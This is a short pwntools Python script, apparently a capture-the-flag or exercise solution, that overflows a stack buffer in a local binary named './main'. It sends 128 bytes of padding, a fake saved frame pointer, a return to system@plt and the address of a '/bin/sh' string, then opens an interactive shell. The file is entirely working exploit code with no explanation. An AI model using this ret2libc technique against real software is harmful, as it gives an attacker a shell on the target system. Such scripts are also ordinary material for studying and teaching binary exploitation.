
from pwn import *

SYSTEM_PLT = 0x08048370
BIN_SH = 0x080485f0

s = process("./main")

# Uncomment for debugging
#gdb.attach(s, '''
#	b*0x080484e5
#	''')

payload = 'A'*128
payload += 'BBBB' # EBP
payload += p32(SYSTEM_PLT)
payload += 'CCCC' # RET ADDRESS SYSTEM
payload += p32(BIN_SH) # 1 PARAM FOR SYSTEM

payload += '\n'
s.send(payload)
print(s.recv())
s.interactive()
s.close()